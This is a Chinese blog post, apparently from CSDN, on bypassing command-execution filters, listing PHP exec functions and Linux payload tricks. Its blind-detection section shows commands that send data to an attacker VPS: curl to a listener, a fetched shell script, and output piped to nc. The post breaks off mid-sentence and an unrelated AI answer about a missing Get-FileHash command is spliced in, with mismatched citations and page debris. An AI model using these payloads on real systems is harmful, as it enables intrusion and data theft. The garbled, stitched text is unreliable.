关于命令执行Bypass的一些思路

本文探讨了命令执行的常见函数,如system()、passthru()等,并分享了在Linux和Windows系统中Bypass命令执行限制的技巧,包括分隔符替代、空格替换、长度限制的解决方案。此外,还提到了在无回显情况下利用curl、dnslog进行检测的方法。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

更多渗透技能 ,10余本电子书及渗透工具包,搜公众号:白帽子左一

作者:掌控安全-xiao_yi

一、常见命令执行的函数

system()

system(string $command, int &$return_var = ?): string

执行系统命令,有回显

passthru()

passthru(string $command, int &$return_var = ?): void

执行系统命令并且显示原始输出

shell_exec()

shell_exec(string $cmd): string)

通过shell环境执行命令,并且将完整的输出以字符串形式返回(无回显)

exec()

exec(string $command, array &$output = ?, int &$return_var = ?): string

执行一个外部程序, 同时无回显,且输出的时候仅返回命令的最后一行

反引号

echo `ls`;

只要在反引号里的字符串都会被当作代码执行,注意如果反引号在单、双引号内则不起作用

回调函数
这类型函数会在代码执行的时候讲到,故这里只说明一点,如果回调函数执行的是上述的执行系统命令的函数,那么回调函数也可以被当成命令执行使用

二、Bypass技巧

(1)针对Linux系统
分隔符

换行符         %0a

回车符         %0d(利用fuzz测试从%00-%ff)

连续指令       ;

后台进程       &                 # java -jar test.jar &  表示进行放到后台执行,无法被ctrl+c杀死

管道符         |           # echo 'ls' | bash

逻辑符         ||  &&          # skjkfj||ls  由于前面命令不存在而为假,转而执行后面的ls

空格代替

<

$IFS

${
   
   IFS}

$IFS$(1-9)                                  #从19,可以进行fuzz

{
   
   cat,flag.txt}

%09 用于url传递,类似于%09代替空格

过滤特定函数(例如cat)

less, tac, more, less, head, tail, nl, od        # 命令代替

ca""t

ca''t

ca``t

ca\t

a=c;b=at;$a$b xxx.php                                                        # 变量拼接





c${
   
   u}at                                                                                 # 因为c$uat 系统不知道你要执行的是$u还是$uat,因此加上界定符,命令成功运行

l`$u`s

wh$1oami

who$@ami

whoa$*mi

其他思路

a=l;b=s;$a$b                                                    # 变量拼接



`echo d2hvYW1p | base64 -d`                     # base64编码



substr string pos end                                   # 利用字符串切割得到我们想要的字符,但是这种方法的利用考虑尝试.sh文件,未复现



echo ${
   
   PATH:0:1}

echo "`expr$IFS\substr\$IFS\$(pwd)\$IFS\1\$IFS\1`"

echo "`expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1`"   => $PWD 代表环境变量

expr${
   
   IFS}substr${
   
   IFS}$SESSION_MANAGER${
   
   IFS}14${
   
   IFS}1



$u                                                                      # $u在Linux中代表的是空字符串,并不是代表是空格,这里有一些好玩的技巧

c${
   
   u}at index$u.php$u

c`$u`at index$u.php$u

对于无回显情况
对于无回显的情况,和sql注入无回显的思路差不多!(所以方法只是其次,主要是思路)

判断思路

延时                  ls|sleep(3)

HTTP请求          curl

DNS请求               ping

curl进行检测

有一台可以进行通信的vps

vps 上执行 nc -lvnp 4444

在目标机器上执行curl vps:4444

观察vps的连接情况

若出现返回,则说明这里是存在命令执行的



或者是编写sh脚本

curl ip/1.sh > /tmp/1.sh

1.sh里面写

内容 | nc vps的ip 监听端口

让受害机器将数据发送给你

dnslog进行检测

由于域名转换成ip需要经过一次dns解析,所以可以通过dnslog将数据外带出来

推荐如下两个dnslog地址:

http
<think>我们正在解决用户的问题:无法使用Get-FileHash命令,出现“不是内部或外部命令”的错误。根据之前的引用,我们并没有直接关于Get-FileHash不可用的解决方案。但是,我们可以根据系统环境来分析。考虑到Get-FileHash是PowerShell命令,而用户可能在命令提示符(cmd)中尝试使用,或者在旧版本的PowerShell(如Windows7自带的PowerShell2.0)中使用,因为Get-FileHash是PowerShell4.0及以上版本才引入的。因此,解决方案可能包括:1.确保在PowerShell中运行该命令,而不是在命令提示符(cmd)中。2.升级PowerShell版本到4.0以上(特别是对于Windows7用户)。3.如果升级PowerShell不可行,则使用其他替代方法(如certutil)来计算哈希值。另外,引用[1]提到了使用takeown和icacls命令来获取文件所有权并替换损坏文件,这提示我们如果PowerShell相关的文件损坏,也可能导致命令不可用。但这种情况较少见,我们先考虑升级PowerShell。步骤:一、确认环境首先,用户需要确认他们是在PowerShell中运行命令,而不是在命令提示符(cmd)中。因为Get-FileHash是PowerShell命令。二、升级PowerShell(针对旧系统)对于Windows7/WindowsServer2008R2用户,默认的PowerShell版本是2.0,需要升级到至少4.0。升级步骤:1.下载并安装WindowsManagementFramework(WMF)5.1,它包含PowerShell5.1。2.下载链接:https://aka.ms/wmf5download三、替代方法如果暂时无法升级,可以使用以下替代命令:1.使用certutil(命令提示符中):certutil-hashfile文件路径MD5certutil-hashfile文件路径SHA2562.使用第三方工具(如7-Zip、OpenSSL等)四、修复系统文件如果怀疑系统文件损坏,可以运行系统文件检查器(sfc):在管理员权限的命令提示符中运行:sfc/scannow五、对于Windows10/11用户这些系统默认应支持Get-FileHash。如果出现错误,可能是由于系统文件损坏或PowerShell执行策略限制。可以尝试:1.以管理员身份运行PowerShell2.检查执行策略:Get-ExecutionPolicy,如果受限则设置为RemoteSigned:Set-ExecutionPolicyRemoteSigned根据以上思路,我们给出详细步骤。</think>针对您遇到的 "Get-FileHash 不是内部或外部命令" 错误,以下是系统级解决方案和替代方案: ### 一、问题原因分析 1. **PowerShell 版本过低** `Get-FileHash` 是 PowerShell 4.0+ 引入的命令,Windows 7 默认仅支持 PowerShell 2.0[^1] 2. **执行策略限制** 系统可能阻止执行 PowerShell 脚本 3. **系统文件损坏** 关键系统组件缺失(如 `Microsoft.PowerShell.Utility` 模块) --- ### 二、解决方案 #### ▶ 方案1:升级 PowerShell(Windows 7 必选) 1. 下载 Windows Management Framework 5.1: [官方下载链接](https://aka.ms/wmf5download) 2. 安装前检查: ```cmd :: 查看当前版本 powershell -Command "& { $PSVersionTable.PSVersion }" ``` 3. 安装后验证: ```powershell # 应显示 5.1.xxxxx 版本 $PSVersionTable.PSVersion ``` #### ▶ 方案2:修复系统文件 ```cmd :: 1. 获取系统文件所有权 takeown /f %windir%\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.Utility :: 2. 授予管理员完全控制权 icacls %windir%\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.Utility /grant Administrators:F :: 3. 修复系统文件 sfc /scannow DISM /Online /Cleanup-Image /RestoreHealth ``` > 完成后重启系统[^1] #### ▶ 方案3:修改执行策略(管理员权限) ```powershell # 临时允许脚本执行 Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass # 永久更改(谨慎操作) Set-ExecutionPolicy RemoteSigned ``` --- ### 三、替代方案(无需 Get-FileHash) #### 1. 使用 certutil(所有 Windows 版本) ```cmd :: SHA256 哈希计算 certutil -hashfile "C:\path\to\file.exe" SHA256 :: MD5 哈希计算 certutil -hashfile "D:\setup.msi" MD5 ``` #### 2. OpenSSL 方案 1. 下载 [Win64 OpenSSL](https://slproweb.com/products/Win32OpenSSL.html) 2. 计算哈希: ```cmd :: SHA256 openssl sha256 "C:\files\document.pdf" :: MD5 openssl md5 "D:\images\backup.iso" ``` #### 3. 7-Zip 图形化工具 1. 安装 [7-Zip 64位版](https://www.7-zip.org/a/7z2406-x64.exe) 2. 右键文件 → `7-Zip` → `CRC SHA` → 选择算法 ![7-Zip哈希验证](https://i.imgur.com/5z3Jf9S.png) --- ### 四、验证修复效果 ```powershell # 测试命令(应在 PowerShell 中执行) Get-Command Get-FileHash -ErrorAction Stop Get-FileHash $env:windir\explorer.exe -Algorithm SHA256 ``` > ✅ 成功输出示例: > ``` > Algorithm Hash Path > --------- ---- ---- > SHA256 7D8E...B3A2 C:\Windows\explorer.exe > ``` --- ### 五、故障排除指南 | 错误现象 | 解决方案 | |-----------------------------|-----------------------------| | "无法加载模块" | 执行 `Import-Module Microsoft.PowerShell.Utility` | | "文件被占用" | 关闭 PowerShell ISE 或 VSCode 后重试 | | 权限拒绝 (Access Denied) | 使用方案2的 takeown/icacls 流程 | | Windows XP 系统 | 使用 [FCIV 工具](https://www.microsoft.com/en-us/download/details.aspx?id=11533) | > ⚠️ 若所有方案无效,建议备份数据后[修复安装 Windows](https://support.microsoft.com/zh-cn/windows/%E9%87%8D%E7%BD%AE%E6%88%96%E9%87%8D%E8%A3%85-windows-99a5835d-5c10-8adb-83de-b8d7162a5d0e)。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值